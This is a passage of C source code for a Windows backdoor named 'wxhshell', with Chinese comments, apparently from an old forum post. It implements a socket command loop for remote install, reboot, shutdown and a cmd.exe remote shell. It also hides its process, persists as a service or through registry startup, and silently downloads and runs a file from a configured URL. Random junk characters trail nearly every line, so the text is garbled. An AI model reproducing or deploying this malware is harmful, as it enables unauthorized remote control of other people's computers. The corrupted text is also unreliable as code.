    switch(cmd[0]) { Ba"Z^(:  
  t ,0~5>5  
  // 帮助 g%K3ah v  
  case '?': { JWLQ9U X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;lGjj9we>  
    break; c Mq|`CM  
  } wEdXaOEB5  
  // 安装 |KuH2, n0  
  case 'i': { L;Nm"[ `  
    if(Install()) \hg12],#:@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x k#/J]j  
    else kc}e},k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T7[ItLZ  
    break; 4]Krx m`8  
    } C@xh$(y  
  // 卸载 ~GZ(Ou-&  
  case 'r': { Jg@PhN<9  
    if(Uninstall()) 5WEF^1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HH^eEh4g  
    else xand%XNv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J5429Soo  
    break; }nkX-PG9  
    } )H)HR`  
  // 显示 wxhshell 所在路径 }psJ'aiG*  
  case 'p': { .Ir5gz  
    char svExeFile[MAX_PATH]; RK|C*TCnl  
    strcpy(svExeFile,"\n\r"); gVO[R6C5C  
      strcat(svExeFile,ExeFile); F;kNc:X`)  
        send(wsh,svExeFile,strlen(svExeFile),0); !iMsTH<  
    break; hS<+=3 <M  
    } %|UCs8EFm  
  // 重启 (R{W Jjj  
  case 'b': { < }G7#xg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `w2hJP  
    if(Boot(REBOOT)) 90;[5c   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }.x?$C+\"  
    else { p9 %7h.  
    closesocket(wsh); ='a$>JVJ5  
    ExitThread(0); XSXS;Fh)  
    } ENygD  
    break; 66v6do7  
    } (Ori].{C.J  
  // 关机 kA fkQy(~  
  case 'd': {  IG 6yt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q45Hmz  
    if(Boot(SHUTDOWN)) :dK/}S0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4\3Z$%2^LZ  
    else { |*Hw6m  
    closesocket(wsh); U5odSR$  
    ExitThread(0); PC/Oo~Gx  
    } woQYP,  
    break; 3s" Rv@  
    } 2}K7(y!?u  
  // 获取shell 4;x{@Ln  
  case 's': { UE5T%zd/  
    CmdShell(wsh); S-*4HV_l  
    closesocket(wsh); tAefBFu  
    ExitThread(0); 6Z0@4_Y@B6  
    break; ml\A)8O]j/  
  } + Uq$'2CT  
  // 退出 3V2 "1Ic  
  case 'x': { ^As^hY^p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >HXT:0  
    CloseIt(wsh); VD,g  
    break; n)gzHch  
    } ) m[0,  
  // 离开 $)mK]57  
  case 'q': { ckS.j)@.c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -m3 O\X  
    closesocket(wsh); V^[o{'+  
    WSACleanup(); hIE$ut +  
    exit(1); 9ELLJ@oNC  
    break; 82{Lx7pI  
        } ,dP-sD;<  
  } *MglX<  
  } ~J)_S' #  
o[X 'We;  
  // 提示信息 2eK!<Gj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z1K@AaRx  
} f%;8]a9  
  } unKi)v1  
u,I_p[`E  
  return; 0"#'Z>"  
} 4 cDjf~n  
_SY4Q s`d  
// shell模块句柄 1:(qoA:  
int CmdShell(SOCKET sock) k?ZtRhPu3X  
{ =Q>'?w>  
STARTUPINFO si; 9ePG-=5I  
ZeroMemory(&si,sizeof(si)); %We~k'2f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ci a'h_w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nkUSd}a`r  
PROCESS_INFORMATION ProcessInfo; EBc_RpC/Z  
char cmdline[]="cmd"; V4PI~"4q#1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hCS|(8g  
  return 0; g1UP/hNJ\8  
} e0Zwhz,  
ihS;q6ln  
// 自身启动模式 R7pdwKD  
int StartFromService(void) `fYICp  
{ -{n2^vvF  
typedef struct ge %ytrst  
{ z|E/pm$^  
  DWORD ExitStatus; (e.?). e  
  DWORD PebBaseAddress; &@NTedg!  
  DWORD AffinityMask; aNs~Uad1U  
  DWORD BasePriority; K Rs e  
  ULONG UniqueProcessId; 4>x]v!d  
  ULONG InheritedFromUniqueProcessId; Sc#B -4m  
}   PROCESS_BASIC_INFORMATION; kK\G+{z?  
N8S !&*m  
PROCNTQSIP NtQueryInformationProcess; E{'{fo!#)  
[$:M/5y9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; : p %G+q2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y>W$n9d&G2  
o}O"  
  HANDLE             hProcess; Jas=D  
  PROCESS_BASIC_INFORMATION pbi; FOz~iS\  
S{wR Z|8U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #SyF-QZ[1  
  if(NULL == hInst ) return 0; #e)A  
lOB*M!8   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,41Z_h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "x~VXU%xU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); trlZ^K  
:4JqT|nS  
  if (!NtQueryInformationProcess) return 0; =Y!x  
4 JC*c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PW7{,1te,  
  if(!hProcess) return 0; RI.6.f1dy  
;J [ed>v;3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %8C,9q  
d^b(Uo=$  
  CloseHandle(hProcess); z 3((L  
d+DdDr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +pMa-{  
if(hProcess==NULL) return 0; Zfwhg4G~  
vfBIQfH  
HMODULE hMod; v_=xN^R  
char procName[255]; }#'I,?_k  
unsigned long cbNeeded; ^jY/w>UdH  
bT93R8yp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ' b?' u  
Em6P6D>S>,  
  CloseHandle(hProcess); vl}fC@%WRI  
TEB<ia3+  
if(strstr(procName,"services")) return 1; // 以服务启动 bzj9U>eY  
cl2+,!:  
  return 0; // 注册表启动 TgC8EcLr  
} 'DLgOUvh  
10.u  
// 主模块 I'sq0^  
int StartWxhshell(LPSTR lpCmdLine) `eZ +Pf".  
{ -!_\4  
  SOCKET wsl; 1=o|[7  
BOOL val=TRUE; `wGP31Y.  
  int port=0; ,^Ug[pGG-  
  struct sockaddr_in door; ^ &UezDTS  
ppYIVI  
  if(wscfg.ws_autoins) Install(); \Dn47V{7-  
Q5K<ECoPk  
port=atoi(lpCmdLine); /xS4>@hn  
MZPXI{G  
if(port<=0) port=wscfg.ws_port; ?so=k&I-M  
l  rRRRR  
  WSADATA data; g<b(q|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [-Xz:  
_Fc :<Ym?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *;N6S~_'Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '>"riEk  
  door.sin_family = AF_INET; mHj3ItXUu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6 (M^`&fl  
  door.sin_port = htons(port); ;7/ ;4Z  
Wnf3[fV6P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gC/~@Z8W]  
closesocket(wsl); S2APqRg*  
return 1; [nYm-\M  
} 2D'b7zPJ3  
/Ko{S_3< I  
  if(listen(wsl,2) == INVALID_SOCKET) {  H8lh.K  
closesocket(wsl); T{A 5,85  
return 1; 27"M]17)  
} @Yzdq\FI  
  Wxhshell(wsl); >0XB7sC  
  WSACleanup(); U-]Rm}X\M  
9sQ #v-+Yx  
return 0; E: 7R>.g  
mQ$a^28=qR  
} l^~E+F~  
\jR('5DcB  
// 以NT服务方式启动 r0Cc0TMdj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) II,snRD  
{ b '9L}q2m  
DWORD   status = 0; 9e aqq  
  DWORD   specificError = 0xfffffff; n "J+? ~9  
!EwL"4pPw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {?+dVLa^;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E\_Wpk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wO-](3A-8P  
  serviceStatus.dwWin32ExitCode     = 0; .sqX>sU/]  
  serviceStatus.dwServiceSpecificExitCode = 0; 7>@g)%",  
  serviceStatus.dwCheckPoint       = 0; H Z)an  
  serviceStatus.dwWaitHint       = 0; _x'?igy  
U@'F9UB`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3oo Tn-`{  
  if (hServiceStatusHandle==0) return; i!nPiac  
Le?yzf  
status = GetLastError(); SWq5=h  
  if (status!=NO_ERROR) s.uw,x  
{ dv7IHUFf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l<DpcLX  
    serviceStatus.dwCheckPoint       = 0; ?7eD< |  
    serviceStatus.dwWaitHint       = 0; ;)c 4  
    serviceStatus.dwWin32ExitCode     = status; I k[{,p  
    serviceStatus.dwServiceSpecificExitCode = specificError; RJ63"F $  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d*cAm$  
    return; .[Hv/?L  
  } H)@f_pfj(  
qX_( M2oLU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $D%[}[2  
  serviceStatus.dwCheckPoint       = 0; ,suC`)R  
  serviceStatus.dwWaitHint       = 0; #P,C9OQD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +`(,1L1  
} $qp,7RW  
;,&$ob*/  
// 处理NT服务事件,比如:启动、停止 `A0trC3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HLruZyN4  
{ 9)~Ha iVB  
switch(fdwControl) aP`[O]8j  
{ 5 0KB:1(g  
case SERVICE_CONTROL_STOP: OS{j5o  
  serviceStatus.dwWin32ExitCode = 0; &pk&8_=f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -~HyzX\cZB  
  serviceStatus.dwCheckPoint   = 0; =X24C'!Mpe  
  serviceStatus.dwWaitHint     = 0; cs\/6gSCo  
  { FV];od&c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F Cp\w1+  
  } 7O \sQ]i6  
  return; m Bc2x8g)  
case SERVICE_CONTROL_PAUSE: dH[TnqJn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2y;J 11\  
  break; %fzZpd]v=,  
case SERVICE_CONTROL_CONTINUE: D,( "3zx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %J b/HWC[  
  break; Wf>P[6  
case SERVICE_CONTROL_INTERROGATE: O\z]1`i*o  
  break; wU $j/~L  
}; 2<X.kM?N{B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \~4IOu  
} +#wh`9[wBt  
$p?TE8G  
// 标准应用程序主函数 C%LXGMt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p2)563#RS  
{ 4r+s" |  
&X%vp?p  
// 获取操作系统版本 F-&=N {+  
OsIsNt=GetOsVer(); :,~]R,tJQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7wA.:$  
5;4bZ3e,0  
  // 从命令行安装 (imaL,M-D  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ug~ ]!L  
m,1Hlp  
  // 下载执行文件 W6 y-~  
if(wscfg.ws_downexe) { 'U|Tye i?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O&vE 5%x  
  WinExec(wscfg.ws_filenam,SW_HIDE); R>#BJ^>=  
} '^# =,+ A  
V!XT=Ou?6  
if(!OsIsNt) { fa:V8xa  
// 如果时win9x,隐藏进程并且设置为注册表启动 qHtonJc  
HideProc(); x<lY&KQ0  
StartWxhshell(lpCmdLine); XqxmvN  
} [>#@?@x`P  
else l+!eC lM%  
  if(StartFromService()) fk)5TPc^  
  // 以服务方式启动 EW}7T3g  
  StartServiceCtrlDispatcher(DispatchTable);  tOEY|  
else mcgkNED  
  // 普通方式启动 \])-Bp ,  
  StartWxhshell(lpCmdLine); ob(S/t  
lBN1OL[N  
return 0; f*HEw  
}
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只看该作者 1 发表于: 2006-10-10
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